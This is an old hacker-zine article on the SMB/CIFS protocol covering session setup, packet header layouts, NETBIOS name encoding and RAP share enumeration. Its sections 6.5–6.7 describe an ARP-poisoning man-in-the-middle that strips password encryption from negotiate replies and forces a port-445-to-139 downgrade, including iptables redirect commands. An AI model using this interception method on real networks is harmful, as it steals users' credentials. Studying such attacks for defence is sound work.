Volume 0x0b, Issue 0x3c, Phile #0x0b of 0x10 |=---------------------=[ SMB/CIFS BY THE ROOT ]=------------------------=| |=-----------------------------------------------------------------------=| |=---------------=[ ledin ]=-----------------=| --[ Contents 1 - Introduction 2 - What is SMB/CIFS 3 - Session establishment How does a client establish a SMB session with a server ? 4 - Security level of SMB 5 - Passwords 6 - Description of several SMB packets 6.1 - The general aspect of a SMB packet 6.2 - NETBIOS and SMB 6.3 - The SMB base header 6.4 - Description of the most importants SMB commands 6.5 - How I can recover SMB passwords in clear from the network when they should be encrypted ? 6.6 - Man in the middle attack 6.7 - Notes about windows 2k/XP SMB operating over TCP 7 - Transaction subprotocol and RAP commands 7.1 - RAP commands 8 - Using RAP commands to list shares available on a server 8.1 - TconX packets 8.2 - Explanation of the RAP command "NetshareEnum" 9 - Conclusion 10 - References 11 - Thanks Appendix A Appendix B --[ 1 - Introduction In this article, I will try to explain what CIFS and SMB are , how it works and some common insecurities present on these protocols. This article constitue a useful source of knowledge about Microsoft networking. The SMB protocol is one of the most used protocols on LAN. I have also included source code in the aim of giving a good expamle of SMB operating. You will learn how to use ARP poisoning to have password in clear from the network when all SMB passwords are encrypted (without brute forcing). You will be able to understand the link between SMB and NETBIOS. You will also learn what is and how works the Microsoft Remote Administration Protocol (RAP) for scanning remote shares on a SMB server. Programs and information are given for educational purpose only. I could be not responsable of what you will make with. --[ 2 - What is SMB/CIFS ? According to Microsoft CIFS is intended to provide an open cross- platform mechanism for client systems to request file and print services from server systems over a network. It is based on the standard Server Message Block (SMB) protocol widely in use by personal computers and workstations running a wide variety of operating systems. In fact, SMB (for Server Message Block) is a protocol which operates the data transfert between sharing files, devices, named pipes or mail slot across a network. CIFS is a public version of SMB. SMB clients available : from Microsoft : Windows 95, Windows for workgroups 3.x, Windows NT,2000 and XP for Linux : Smblient from Samba Smbfs for Linux SMB servers : Samba Microsoft Windows for Workgroups 3.x Microsoft Windows 95 Microsoft Windows NT The PATHWORKS family of servers from Digital LAN Manager for OS/2,SCO,etc VisionFS from SCO TotalNET Advanced Server from Syntax Advanced Serverfor UNIX from AT&T (NCR?) LAN Server for OS/2 from IBM. --[ 3 - Session establishment Note : SMB protocol was developed to run on DOS ( powered by an Intel chip) so byte ordering is little-endian the opposite of network ordering. SMB can run over TCP/IP, NetBEUI, DECnet Protocol and IPX/SPX. With a SMB implementation over TCP/IP, DECnet or NETBEUI, the NETBIOS names must be use. I will explain in the sixth chapter what NETBIOS is. But for the moment, you just have to know that a NETBIOS name identifies one computer on a Microsoft network. The development of SMB has begun in the eighties, so there is a lot of versions of the SMB protocol. But the most used (on Windows 95, 98, Windows NT, Windows 2000 and XP) is the NT LM 0.12 version. This article is based on the NT LM 0.12 version. You have to know that a SMB Domain name identifies a group of ressource (users, printers, files ..) on a SMB server. How does a client establish a SMB session with a server ? Let's take this situation : a client wants to access to a specific ressource on a server. 1 - To begin the client requests the server for a NETBIOS session. The client sends his encoded NETBIOS name to the SMB server (which listening connection requests on port 139). The server receives the NETBIOS name and replies with a NETBIOS session packet to valid the session. The client enters after in a SMB session establishment i.e the identification of the client to the SMB server. 2 - The client sends a SMB negprot request packet (negprot for "negotiate protocol"). The client gives a list of SMB protocol versions supported. Then the server sends a SMB negprot reply packet (with informations like SMB domain name, maximun connections accepted, SMB protocol versions supported ...) 3 - After the negotiation of protocols, the client processes to a user or share identification on the server.(see the next chapter to know what is the difference between a share and a user identification) This process is operated by the SesssetupX request packet (SesssetupX for Session Setup and X). The client sends a couple login/password or a simple password to the server that refuses or allows the conection with a SessetupX reply packet. 4 - Ok, when the client has finished with negotiation and identification it sends a tconX packet for specifying the network name of the ressource that it wants to access, and the server sends a Tconx reply indicating if the connection is accepted or not. netbios session request (netbios name) [client] ---------------------------> [server] 1) netbios session granted [client] <-------------------------- [server] SMB negprot request [client] ---------------------------> [server] 2) SMB negprot reply [client] <-------------------------- [server] SMB sesssetupX request [client] ---------------------------> [server] 3) SMB sesssetupX reply [client] <-------------------------- [server] SMB TconX request [client] ---------------------------> [server] 4) SMB TconX reply [client] <-------------------------- [server] A complete description of each packets is given in the chapter six. --[ 4 - Security level of SMB There is two types of security models on SMB : The first is the "Share level" security model. This security model associates a password to a shared ressource on the network. The user logs to this ressource (IPC, Disk, Printers) with the correct password. The user is anyone on the network who knows the name of the server where the ressource is. The second is the "User Level". This security model is an enhanced implementation of the first. It consists to associate a couple of login/password to a shared ressource. So if a person wants to connect to this shared ressource, he has to know the login/password couple. This security level is useful to know who makes what. --[ 5 - Passwords With SMB, when you have to make an identification on a server, your password could be sent in clear or encrypted. If the server supports encryption, the client will have to answer a challenge. The server knows the password, so in the negprot reply packet, an encryption key will be send to the client. The client encrypts the password, and sends it in the SesssetupX request packet, the server verifies the validity of the password and allows the session or not. You have to know that a SMB password (not encrypted) is 14 bytes long maximum. The size of the encryption key is usually 8 bytes long. The size of the encrypted password is 24 bytes. With ANSI password, the characters of the password are converted in upper case for the encryption. The password is encrypted with a DES encryption in block mode. --[6 - Description of several SMB packets In this part I will give the description of the most important packets types involved in SMB protocol. I know it's a bit boring but this is the base to understand how works SMB and the attacks. I will explain what is very important in each type of packet. For each type of command correspond two types of packets. The request packet and the reply packet. ----[ 6.1 - The general aspect of a SMB packet. In the majority of case SMB runs over TCP/IP protocol suite. So let's consider that SMB runs over TCP layer for us. Over the TCP layer, you will always find the NETBIOS (NBT) header. Over NBT you have the SMB base header. Over the SMB base header, you have an another type of header, which depends of the specific command you request. ---------------------- | TCP header | ---------------------- | NETBIOS header | ---------------------- | SMB base header | ---------------------- | SMB Command header | ---------------------- | DATA | ---------------------- The "SMB Base header" contains several informations, like the size of reception buffers, maximum connexions allowed... It also contains a number that identifies the command requested. "SMB command header" is a header with all the parameters for the requested command (a command like negotiate protocol versions ... ) "DATA" is the data for the requested command. I call "SMB packet", the NETBIOS Header + the SMB base header + the SMB Command header + DATA. NOTE : I will use this definitions : typedef unsigned char UCHAR; // 8 unsigned bits typedef unsigned short USHORT; // 16 unsigned bits typedef unsigned long ULONG; // 32 unsigned bits and STRING defined a null terminated ASCII string. ----[ 6.2 - NETBIOS and SMB NETBIOS (for NETwork Basic Input and Outpout System) is widely use on Microsoft networks. It is a sofware interface and a naming system. Each computer has a NETBIOS name, which is 15 characters long, and a sixteenth character is used to identify the type of computer ( Domain Name server, workstation...). Value for the sixteenth character : 0x00 base computer, workstation. 0x20 resource sharing server. There are other values but these are the most interessant for us. The first (0x00) identify a workstation and the second (0x20) the server. On a SMB packet, the NETBIOS header corresponds to the NETBIOS Session header, defined like this : UCHAR Type; // Type of the packet UCHAR Flags; // Flags USHORT Length; // Count of data bytes (netbios header not included) For the "Flags" field, the value is always 0. (with SMB, not in general !) For the "Type" field, several values are possible : 0x81 corresponds to a NETBIOS session request. This code is used when the client sends its NETBIOS name to the server. 0x82 is a positive response to a NETBIOS session request. This code is used by the server to authorize a NETBIOS session. 0x00 correspond to a session message. This code is always used in a SMB session i.e when the client has sent his NETBIOS name to the server and has received a positive reply. The "Length" field contains a count of data bytes (The netbios header is not included), "data" means what is above the NETBIOS header (it could be the SMB Base header + SMB Command header + DATA or NETBIOS names). NETBIOS names and encoding A NETBIOS encoded name is 32 bytes long. A NETBIOS name is always given in upper case characters. It's very easy to encode a NETBIOS name. For example the NETBIOS name of my computer is "BILL" and it's a workstation so there is a "0x00" for the sixteenth character. Firstly, when a NETBIOS name is shorter than 15 bytes, it may be padded on the right with spaces. "BILL " In hexadecimal 0x42 0x49 0x4c 0x4c 0x20 0x20 ......0x00 Each bytes are splited into 4-bit halves. 0x4 0x2 0x4 0x9 0x4 0xc 0x4 0xc 0x2 0x0 ....... And each 4-bit half is added to the ASCII value of the 'A' letter (0x41) 0x4 + 0x41 = 0x45 -> ASCII value = E 0x2 + 0x41 = 0x43 -> ASCII value = C ... And you have the encoded NETBIOS name which is 32 bytes long. Note : SMB can run directly over TCP without NBT (it's supported on Win2k and XP on port 445). The NETBIOS name are not limited to 15 characters. You don't need to know more, if you want to have more information about NETBIOS read [3] and [4]. ----[ 6.3 - The SMB base header This header is used in all SMB packets, this is its definition : UCHAR Protocol[4]; // Contains 0xFF,'SMB' UCHAR Command; // Command code union { struct { UCHAR ErrorClass; // Error class UCHAR Reserved; // Reserved for future use USHORT Error; // Error code } DosError; ULONG Status; // 32-bit error code } Status; UCHAR Flags; // Flags USHORT Flags2; // More flags union { USHORT Pad[6]; // Ensure section is 12 bytes long struct { USHORT PidHigh; // High part of PID ULONG Unused; // Not used ULONG Unused2; } Extra; }; USHORT Tid; // Tree identifier USHORT Pid; // Caller's process id USHORT Uid; // Unauthenticated user id USHORT Mid; // multiplex id UCHAR WordCount; // Count of parameter words USHORT ParameterWords[ WordCount ]; // The parameter words USHORT ByteCount; // Count of bytes UCHAR Buffer[ ByteCount ]; // The bytes The "Protocol" field contains the name of the protocol (SMB) with a 0xFF before. The "Command" field contains the value of the requested command. For example 0x72 is for the "negotiate protocol" command. The "Tid" field is used when the client is successfully connected to a ressource on a SMB server . The TID number identifies this ressource. The "Pid" field is used when the client has successfully created a process on the server. The PID number identifies this process. The "Uid" field is used when a user is successfully authenticated on a server. The UID number identify this user. The "Mid" field is used in couple with the PID when a client has several requests on the server ( process, threads, file acess...). The "Flags2" field is also important, when the bit 15 is armed, the strings are UNICODE strings . ----[ 6.4 - Description of the most importants SMB commands SMB negotiate Protocol (negprot) The Negotiate Protocol Command is used in the first step of the SMB session establishment. The Command code for the field "Command" in the SMB Base header is : 0x72. Here is the description of the negprot request and reply headers : Request header UCHAR WordCount; Count of parameter words = 0 USHORT ByteCount; Count of data bytes struct { UCHAR BufferFormat; 0x02 -- Dialect UCHAR DialectName[]; ASCII null-terminated string } Dialects[]; This packet is sent by the client to give the server its list of SMB protocol versions supported. Just three things to say, for this packets, "WordCount" field is always set to zero, "ByteCount" field is equal to the size of the "Dialects" structure, the field "BufferFormat of "Dialects" is always equal to 0x02. The "DialectName" string contains the name of the several SMB protocol versions supported by the client. Reply header UCHAR WordCount; Count of parameter words = 17 USHORT DialectIndex; Index of selected dialect UCHAR SecurityMode; Security mode: bit 0: 0 = share, 1 = user bit 1: 1 = encrypt passwords USHORT MaxMpxCount; Max pending multiplexed requests USHORT MaxNumberVcs; Max VCs between client and server ULONG MaxBufferSize; Max transmit buffer size ULONG MaxRawSize; Maximum raw buffer size ULONG SessionKey; Unique token identifying this session ULONG Capabilities; Server capabilities ULONG SystemTimeLow; System (UTC) time of the server (low). ULONG SystemTimeHigh; System (UTC) time of the server (high). USHORT ServerTimeZone; Time zone of server (min from UTC) UCHAR EncryptionKeyLength; Length of encryption key. USHORT ByteCount; Count of data bytes UCHAR EncryptionKey[]; The challenge encryption key UCHAR OemDomainName[]; The name of the domain (in OEM chars) This packet is sent by the server to give the client the list of SMB protocol versions supported, the SMB domain name of the server and an encryption key if necessary. IMPORTANT : The first interessant field is the "SecurityMode" byte. If the bit 0 is armed we have a user security level. If it's not, we have a share security level. If the bit 1 is armed the password is encrypted with a DES encryption in block mode. The "SessionKey" field is used to identify the session . There is one single session key for one session. The "Capabilities" field indicates if the server supported UNICODE strings or NT LM 0.12 particular commands ... The datas are at the end of the header. With a negprot reply, these datas corespond to the strings "EncryptionKey" and "OemDomainName". The length of these two strings together is given by the "Bytecount" field. The length of the "EncrytionKey" string is given by the field "EncryptionKeyLength". The "EncryptionKey" string contains the Key for the encryption of the password. The length of "OemDomainName" is given by (Bytecount - EncryptionKeyLength). The "OemDomainName" string contains the SMB domain name of the server (in OEM chars). Session setup and X The Session Setup and X packets (SesssetupX or setupx for abbrevation) are used to deal with the identity of a user or when you have to give a password to acess a ressource. The Command code for the Session Setup and X command is 0x73. Request header UCHAR WordCount; Count of parameter words = 13 UCHAR AndXCommand; Secondary (X) command; 0xFF = none UCHAR AndXReserved; Reserved (must be 0) USHORT AndXOffset; Offset to next command WordCount USHORT MaxBufferSize; Client's maximum buffer size USHORT MaxMpxCount; Actual maximum multiplexed pending requests USHORT VcNumber; 0 = first (only), nonzero=additional VC number ULONG SessionKey; Session key (valid iff VcNumber != 0) USHORT Account password size, ANSI CaseInsensitivePasswordLength; USHORT Account password size, Unicode CaseSensitivePasswordLength; ULONG Reserved; must be 0 ULONG Capabilities; Client capabilities USHORT ByteCount; Count of data bytes; min = 0 UCHAR Account Password, ANSI CaseInsensitivePassword[]; UCHAR CaseSensitivePassword[]; Account Password, Unicode STRING AccountName[]; Account Name, Unicode STRING PrimaryDomain[]; Client's primary domain, Unicode STRING NativeOS[]; Client's native operating system, Unicode STRING NativeLanMan[]; Client's native LAN Manager type, Unicode This packet gives a lot of information about the client's system. The field "MaxBufferSize" is very important, it gives the maximun size of data that the client can receive. If you set it to zero you will not receive any type of data from the server. For the data, you have several strings. The most important are "CaseSensitivePassword" (password in UNICODE characters) and "CaseInsensitivePassword" (password in ANSI characters). One of both is used, it depends if the server is supporting UNICODE strings or not (see negatiate protocol reply packet description). The length of the password is given in the fields "CaseInsensitivePasswordLength" or in "CaseSensitivePasswordLength" . For the other strings, see the description. The count of data bytes is given by the "Bytecount" field. Reply header UCHAR WordCount; Count of parameter words = 3 UCHAR AndXCommand; Secondary (X) command; 0xFF = none UCHAR AndXReserved; Reserved (must be 0) USHORT AndXOffset; Offset to next command WordCount USHORT Action; Request mode: bit0 = logged in as GUEST USHORT ByteCount; Count of data bytes STRING NativeOS[]; Server's native operating system STRING NativeLanMan[]; Server's native LAN Manager type STRING PrimaryDomain[]; Server's primary domain Again, there are a lot of information on this packet : OS Type, version of the SMB server software running on server and DomainName. If the connection failed, there is nothing for NativeOS, NativeLanman and PrimaryDomain strings. OK I have finished with the "hard" part, we can play a little with the SMB protocol. If you want to learn more about it, read [1]. ----[ 6.5 - How I can recover SMB passwords in clear from the network when they should be encrypted During the session establishment, the password is sent to the server during the SMB setupx Session. The SMB negprot reply packet contains a bit in the "SecurityMode" field which allows password encryption or not. So if you want to have a password in clear when all is encrypted, you have two possibilities. The first one is to catch the encryption key and the encrypted password and brute force it ! It can be very long ... Some programs like LophtCrack (with SMBGrinder), dsniff or readsmb2 sniff SMB encrypted passwords. The second way is to hijack the connection and to make the client believe that the password should not be encrypted. This technic is a bit complex to explain, but I will say how to do it ! If the server is configured to encrypt password, the SMB negprot reply packet has the bit 1 of the "SecurityMode" field armed. But if an attacker sends a negprot reply packet with this bit equal to zero before the server, the password will be in clear in the SessetupX request packet . negprot request [client] ------------------------> [server] [attacker waits for a negprot request] [client] <-------------| [server] | fake negprot reply | [attacker sends his fake neprot reply] real negprot reply [client] <---------------------------------- [server] [attacker (does nothing)] sessetupX request with the password in clear text [client] ----------------------------------> [server] [attacker sniffs the password in clear text] These diagrams illustrate a direct packet injection on the network. In majority of case, this method doesn't work because the fake negprot reply could treated after the real. There is also other problems, session failures, validity of password, does not work in a switched environment... We can avoid all of these problems by using Arp-Poisoning. I will not explain and describe what is ARP-Poisoning, you could find a lot of docs about it on internet . But, if you don't know what it is, you just have to know that this attack allow the attacker to redirect and modify the traffic between the server and the client. If you consider this situation, the attacker is between the both. He is the man in the middle ... ----[ 6.6 - Man in the middle attack "Attack where your enemy is not expecting you" Sun Tzu, "The art of war" Now I will describe the man in the middle attack. This attack allow you to bypass switches, to avoid connection failures and to grab the password in clear. Let's consider that the traffic between the client and the server is redirected by the attacker ( thanks to ARP poisoning !). The client requests a SMB session to the server. The client will send packets to the SMB port (139) of the server. The attacker receives them. But the attacker doesn't redirect the packet to the server. The whole incoming traffic to the server's SMB port (so to the attacker's machine) is redirected on the local port 1139 of the attacker (very easy to do with NAT and iptables). The whole traffic (not only SMB) is redirected also with iptables and NAT. On the port 1139, there is a program (a transparent proxy program) that assumes the modification and redirection of the SMB packets. The two iptables/NAT commands are : To redirect the incoming traffic (on port 139 ) to a local port (1139 for example). #iptables -t nat -A PREROUTING -i eth0 -p tcp -s 192.168.1.3 \ --dport 139 -j REDIRECT --to-port 1139 192.168.1.3 is the IP address of the client To redirect the whole traffic #iptables -t nat -A POSTROUTING -o eth0 -j MASQUERADE What are the modifications ? : The attacker modifies the negprot reply to have password in clear text. The attacker recovers also the encryption key. The attacker set to zero the value of the length of the encryption key and put the domain name instead of the encryption key. He sets the encryption bit of the "SecurityMode" field to 0. With this, the password will not be encrypted. The client will send the password in clear in a sesssetupx request. When the attacker has the password, he encrypts it with the encryption key recovered before and sends the sesssetupx request (with the encrypted password) to the server. The server sends a sesssetupx reply to accept or refuse the session. The attacker redirects the sesssetupx reply and the whole traffic after. The session will not fail and nobody has saw our man in the middle !. Description : ARP-P ARP-P [client] <--------- [attacker] ---------> [server] The attacker processes to a ARP Poisoning attack to redirect the whole traffic between the two machines. [client] <---------> [attacker] <---------> [server] The traffic redirection is operated with NAT and iptables. port 139 [client] -----------------> [attacker] [server] The attacker receives the first packet to the SMB server port. [client] ----------------->[attacker 139] [server] | V [attacker 1139] The attacker redirects it to the port 1139. On the port 1139, our proxy program is listening. negprot request [client] -----------------> [attacker] [server] The attacker receives the negprot request. negprot request [client] [attacker]---------------> [server] The attacker redirects directly the negprot request to the server. negprot reply [client] [attacker] <---------------------------- [server] (encryption bit set to have password encrypted) The server replies with a negprot reply with the encryption bit set to have the password encrypted. The attacker doesn't redirects this packet. He changes the encryption bit to have plain text password . negprot reply [client] <----------------------------- [attacker] [server] (encryption bit set to have plain text password ) The attacker sends the modified negprot reply with the encryption bit changed to have the password in clear text. sesssetupX request [client] ------------------------> [attacker] [server] (password in clear text) The client sends the password in clear text, the attacker recovers it. sesssetupX request [client] [attacker] ---------------------> [server] (password encrypted) The attacker sends a sesssetupx request to the server with the encrypted password. sesssetupX reply [client] <------------- [attacker] <---------------- [server] The servers sends the sesssetupx reply. The attacker redirects it. [client] <------------> [attacker] <--------------> [server] The attacker continues to redirect traffic between the two machines until the end of the SMB session. The implementation of the man in the middle attack is given in the Appendix A (the NAT and iptables rules are given also). Take a look at the source code, you will learn a lot of details !. ----[ 6.7 - Notes about windows 2k/XP SMB operating over TCP/IP As I wrote before, on Windows 2k/XP, SMB can run directly over TCP. The SMB server is listening incoming connexions on port 445. But it's not so "directly". In fact instead of having a NETBIOS header which is 4 bytes long, we have a other header which is 4 bytes long too. Description : |---------------| | TCP | |---------------| |SPECIAL HEADER | |---------------| | SMB BASE HDR | |---------------| This special header is defined like this : UCHAR Zero; // Set to zero UCHAR Length[3];// Count of data bytes (the 4 bytes of the header are not included) This special header is not very different than the NETBIOS header. You will understand why. This is the NETBIOS header : UCHAR Type; // Type of the packet UCHAR Flags; // Flags USHORT Length; // Count of data bytes (netbios header not included) When SMB is running over TCP, the NETBIOS request session should be not used. In fact, the NETBIOS names of the client and of the server should not be sent. So the value of the "Type" field in the NETBIOS is always equal to zero (the "Type" field is different from zero when the client sends his encoded NETBIOS name - Type = 0x81 - and when it receives the reply - Type = 0x82 -). Remember, during the SMB session the Type field is equal to zero ( it's the "Type" code for the NETBIOS session message). For the first byte nothing is different. For the last three bytes now : The "Flags" field of the NETBIOS header is always set to zero. The length of the packet only takes the two last bytes of the special header. The three last bytes are the same. To conclude there is no difference between the NETBIOS and the special header when NETBIOS is not used. Downgrade attack : If the client (running on windows XP or 2k) has NBT enabled, it always try to connect to the port 139 and 445 simultaneously. If the client has a response from the port 445, the client will send a RST packet to the port 139. If the client has no response from the port 445, it will try to connect on port 139. If it has no response from the both, the session will fail. If the client has NBT disabled, the client will try on the port 445 only. To perform a Downgrade attack i.e force the client to not use the port 445 and to use the port 139, you have to make believe to the client that the 445 is closed. With the transparent proxy attack it's very easy, with iptables you have just to redirect the incoming traffic on the attacker's machine on port 445 to a closed port. With this the client will use the port 139 (the iptables rules for this is given in appendix A). This will work if NBT is enabled. If the client has NBT disabled, the transparent proxy will operate the SMB traffic on port 445. You've got an option on the program for this. Ok, we have finished with the attack for recovering passwords. We will study now an another important part of SMB. --[ 7 - Transaction subprotocol and RAP commands I will explain in this chapter a panel of special (and obscur ) SMB commands : the RAP commands. These commands use the transaction subprotocol. I will also describe this subprotocol. ----[ 7.1 - The transaction subprotocol When a large amount of data is sent during a SMB session or if there is a specific operation requested,the SMB protocol includes a transaction subprotocol. The transaction subprotocol is mainly used for SMB Remote Procedure Calls : The RAP commands (RAP for Remote Administration Protocol). But I will explain it later. The transaction subprotocol is not a derived protocol of SMB. The transaction subprotocol is just an other command for SMB. So the transaction subprotocol is layered on SMB base header and the command code for the transaction subprotocol is 0x25. Like the other commands there is a request and a reply. This is the Transaction request header : UCHAR WordCount; Count of parameter words; value = (14 + value of the "SetupCount" field) USHORT TotalParameterCount; Total parameter bytes being sent USHORT TotalDataCount; Total data bytes being sent USHORT MaxParameterCount; Max parameter bytes to return USHORT MaxDataCount; Max data bytes to return UCHAR MaxSetupCount; Max setup words to return UCHAR Reserved; USHORT Flags; Additional information: bit 0 - also disconnect TID in TID bit 1 - one-way transaction (no response) ULONG Timeout; USHORT Reserved2; USHORT ParameterCount; Parameter bytes sent this buffer USHORT ParameterOffset; Offset (from header start) to Parameters USHORT DataCount; Data bytes sent this buffer USHORT DataOffset; Offset (from header start) to data UCHAR SetupCount; Count of setup words UCHAR Reserved3; Reserved (pad above to word) USHORT Setup[SetupCount]; Setup words (# = SetupWordCount) USHORT ByteCount; Count of data bytes STRING Name[]; Name of transaction (NULL if SMB_COM_TRANSACTION2) UCHAR Pad[]; Pad to SHORT or LONG UCHAR Parameters[ Parameter bytes (# = ParameterCount) ParameterCount]; UCHAR Pad1[]; Pad to SHORT or LONG UCHAR Data[ DataCount ]; Data bytes (# = DataCount) In a majority of case, a RAP command sent with Transaction subprotocol may need several Transaction packets for sending the parameters and data bytes. The parameters bytes are usually sent first, followed by the data bytes. If several transaction packets must be involved, the server sends this small packet for acknoledgement between each transaction packets : Interim Reply packets : UCHAR WordCount; Count of parameter words = 0 USHORT ByteCount; Count of data bytes = 0 For the transaction request header, the "TotalParameterCount" field represents a count of paramaters bytes to be sent and it's the same for the "TotalDataCount" field (count of data bytes to be sent). The offset from the start of the SMB base header to the parameters bytes and the data bytes are given with the "ParameterOffset" and "DataOffset" fields. The parameters bytes are in the "Parameters" field. The data bytes are in the "Data" field. You must understand that these "Parameters" and "Data" fields are used for the RAP command. "Parameters" contains the parameters bytes for the RAP command and "Data", the data bytes. The fields for "DataCount" and "ParameterCount" represent respectivily the count of data bytes and the count of parameters bytes present in the considereted transaction packet. If these fields are equal to the "TotalParameterCount" and the "TotalDataCount", it involved that all parameter and data bytes fit in a single packet. If they are not, it involved that the server (for request) or the client (for reply) must wait for another packets. When all packets are received, the parameter and data bytes are marshalled for analysis. Take a look at the field "WordCount", it contains the value : 14 + "SetupCount" field, in majority of case SetupCount is equal to 0. The Transaction reply header: There is not a big difference between the reply and the request UCHAR WordCount; Count of data bytes; value = 10 + "Setupcount" field. USHORT TotalParameterCount; Total parameter bytes being sent USHORT TotalDataCount; Total data bytes being sent USHORT Reserved; USHORT ParameterCount; Parameter bytes sent this buffer USHORT ParameterOffset; Offset (from header start) to Parameters USHORT ParameterDisplacement; Displacement of these Parameter bytes USHORT DataCount; Data bytes sent this buffer USHORT DataOffset; Offset (from header start) to data USHORT DataDisplacement; Displacement of these data bytes UCHAR SetupCount; Count of setup words UCHAR Reserved2; Reserved (pad above to word) USHORT Setup[SetupWordCount]; Setup words (# = SetupWordCount) USHORT ByteCount; Count of data bytes UCHAR Pad[]; Pad to SHORT or LONG UCHAR Parameter bytes (# = ParameterCount) Parameters[ParameterCount]; UCHAR Pad1[]; Pad to SHORT or LONG UCHAR Data[DataCount]; Data bytes (# = DataCount) The client must use the "ParameterOffset" and "DataOffset" to know the offset (from the beginning of the SMB base header) of data and parameters bytes. ----[ 7.2 - RAP commands RAP (Remote Administration Protocol) is the SMB implementation of RPC. RAP request : |---------------------------| |TCP HDR | |---------------------------| |NETBIOS HDR | |---------------------------| |SMB BASE HDR | |---------------------------| |SMB TRANSACTION REQUEST HDR| |---------------------------| |RAP REQUEST PARAMETERS | |---------------------------| |RAP REQUEST DATAS | |---------------------------| RAP Reply : |---------------------------| |TCP HDR | |---------------------------| |NETBIOS HDR | |---------------------------| |SMB BASE HDR | |---------------------------| |SMB TRANSACTION REPLY HDR | |---------------------------| |RAP REPLY PARAMETERS | |---------------------------| |RAP REPLY DATAS | |---------------------------| When you use a RAP command you always find the string "\PIPE\LANMAN" in the "Name" field in the transaction (request and reply) header. These are several examples of RAP commands : -NETSHAREENUM : Retrieve information about each shared ressource on a server -NETSERVERENUM2 : List all the computer of specified types in a specified domain -NETSERVERGETINFO : Get information about a specified server -NETSHAREGETINFO : Retrieve information about a paticular shared ressource -NETWKSTAUSERLOGON : Execute on a SMB server for logging an user. -NETWSTAUSERLOGOFF : The same but for deloging. -NETUSERGETINFO : Obtain information about a particular user. -NETWKSTAGETINFO : Obtain information about a particular station. -SAMOEMCHANGEPASSWORD : For changing the password of a specified user on a remote SMB server. I'm not going to describe all of these commands, I will just take one for example (to have a listing of shared resource avaible on a server). If you want to know more about RAP commands read [2]. --[ 8 - Using RAP commands to list available shares on a server This part is a complement of the previous chapter. I will explain how the RAP commands work by giving an example. The program given in Appendix B is the implementation of what is explained in this chapter. It does the same things that the commands "net view \\ServerIP" (for DOS) or "smbclient -L ServerIP -N " (on Linux). But this program allows you to specified the NETBIOS name, it is a bit anonymous. If you read this source you will learn a lot a things about SMB network programming. How I can retrieve SMB everyone shares on a network : The process is easy to understand. The client must be authentificated on the server . The client identifies itself with the process developed in chapter 3 (with no password). When the server has checked the identity of the client, the client sends a Tconx request (after the Sessetupx reply). Tconx means "Tree CONnect and X). The TconX request packet is used to acess to a shared ressource. ----[ 8.1 - Tconx Packets Request header The TconX packets are layered on the SMB Base Header ("Command" = 0x75). UCHAR WordCount; Count of parameter words = 4 UCHAR AndXCommand; Secondary (X) command; 0xFF = none UCHAR AndXReserved; Reserved (must be 0) USHORT AndXOffset; Offset to next command WordCount USHORT Flags; Additional information USHORT PasswordLength; Length of Password[] USHORT ByteCount; Count of data bytes; min = 3 UCHAR Password[]; Password STRING Path[]; Server name and share name STRING Service[]; Service name The password was sent during the session establishement. The Password length is set to 1 and and the Password string contains null value (0x00). The string "Path" contains the name of the ressource that client wishes connect. It use the unicode style syntax . For example I want to connect on a share called "myshare" on a server called "myserver" . The Path string will containt "\\myserver\myshare". The "Service" string contains the type of ressource requested : string Type of ressource "A:" disk share. "LPT1:" printer. "IPC" named pipe. "COMM" communications device. "?????" any type of device. For scaning any type of device you must use the "?????" string in the "Service" field. After sending your Tconx request on the server. The server replies with a TconX reply. You must recover the "Tid" field (in the SMB Base header) which is the Transaction request with the RAP command. You must specified to the server that you want to know which ressources are available. For this, you must use the RAP command : NETSHAREENUM. ----[ 8.2 - Explanation of the RAP command "NetShareEnum" : The RAP command that we will study is NetShareEnum. The RAP Command "NetshareEnum" request : The field "Parameters" of the transaction request header received : The 16 bit code of function NetShareEnum : 0; The parameter desriptor string : "WrLeh" Data descriptor string for returned data : "B13BWZ" A 16 bit integer with a value of x01; A 16 bit integer that contains the size of the receive buffer. It will be too long to explain how parameter and data descriptor strings works. These strings are used to know the size and the format of parameters and datas. One parameter and one data descriptor string is defined for each RAP command. if you want to know more about this strings, read [2]. No datas are needed for this request so the "DataCount" and "TotalDataCount" fields are equal to zero. |--------------------------------------------| | NETBIOS HDR |---------> 4 bytes |--------------------------------------------| | SMB BASE HDR |---------> 32 Bytes |--------------------------------------------| | SMB TRANSACTION REQUEST HDR | |--------------------------------------------| The Transaction request "Parameters" field receives the parameters for the RAP request : |--------------| | 0x0000 | ----------------------------------------> A |--------------|--------------|--------------| | W r | L e | h 0x00|-----------> B |--------------|--------------|--------------|-------| | B 1 | 3 B | W Z | 0x00 |---> C |--------------|--------------|--------------|-------| | 0x0001 | 0xffff |--------------------------> D |--------------|--------------| A : The NetshareEmun function code : 0x00 B : The parameter descriptor string C : The data descriptor string D : 0x01 (defined value) and 0xffff (Max size of the received buffer) And the server replies : the "Parameters" field of the transaction reply header receives : A 16 bit integer word that contains the return status code : Succes 0 Access Denied 5 Network Acess Denied 65 More data 234 Server not started 2114 Transaction configuration bad 2141 A 16 bit "converted word", uses to calculate an offset to remark strings. A 16 bit containts the number of entries returned = number of SHARE_INFO structure (see below ). A 16 bit representing the number of available entries. The field "Data" of the transaction reply header contains the several SHARE_INFO structures. The SHARE_INFO structure contains the information about each shared ressource available and it is defined like this : struct SHARE_INFO { char shi1_netname[13]; /*Name of the ressource*/ char shi1_pad; /*Pad to a word*/ unsigned short shi1_type; /*Code specifies the type of the shared resssource : 0 Disk Directory tree 1 Printer queue 2 Communications device 3 IPC*/ char *shi1_remark; /*Remark on the specified ressource*/ } shi1_remark is a 32 bits pointer to a string. This string contains a remark about a shared ressource. You must substract the 16 lower bits of "shi1_remark" to the "converter word" to know the offset between this string and the beginning of the RAP reply parameters header. In fact with a ascii schema : |--------------------------------------------| | NETBIOS HDR |------------> 4 bytes |--------------------------------------------| | SMB BASE HDR |------------> 32 Bytes |--------------------------------------------| | SMB TRANS REPLY HDR | |--------------------------------------------| Description of the "Parameters" section of the Transaction reply packet (corresponding to the parameters of the NetShareEnum reply) : |--------------------------------------------| | status code |-------------> 2 bytes |--------------------------------------------| | converted word |-------------> 2 bytes |--------------------------------------------| | number of entries returned |-------------> 2 bytes |--------------------------------------------| | number of entries available |-------------> 2 bytes |--------------------------------------------| Data section of the Transaction reply (corresponding to the several SHARE_INFO structures if there is more than one ressource available) : |--------------------------------------------| | shi1_netname |-----------> 13 bytes |--------------------------------------------| | shi1_pad to pad to word |-----------> 1 byte |--------------------------------------------| | type of service |-----------> 2 bytes |--------------------------------------------| | pointer to remark string |-----------> 4 bytes |--------------------------------------------| . Another SHARE_INFO structures . 